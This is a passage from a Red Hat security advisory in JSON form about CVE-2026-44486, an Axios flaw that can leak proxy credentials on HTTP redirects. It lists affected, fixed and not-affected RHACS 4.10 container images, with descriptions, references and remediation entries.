"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487947"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "RHBZ#2487947",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487947"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
}
],
"release_date": "2026-06-11T15:39:07.714000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
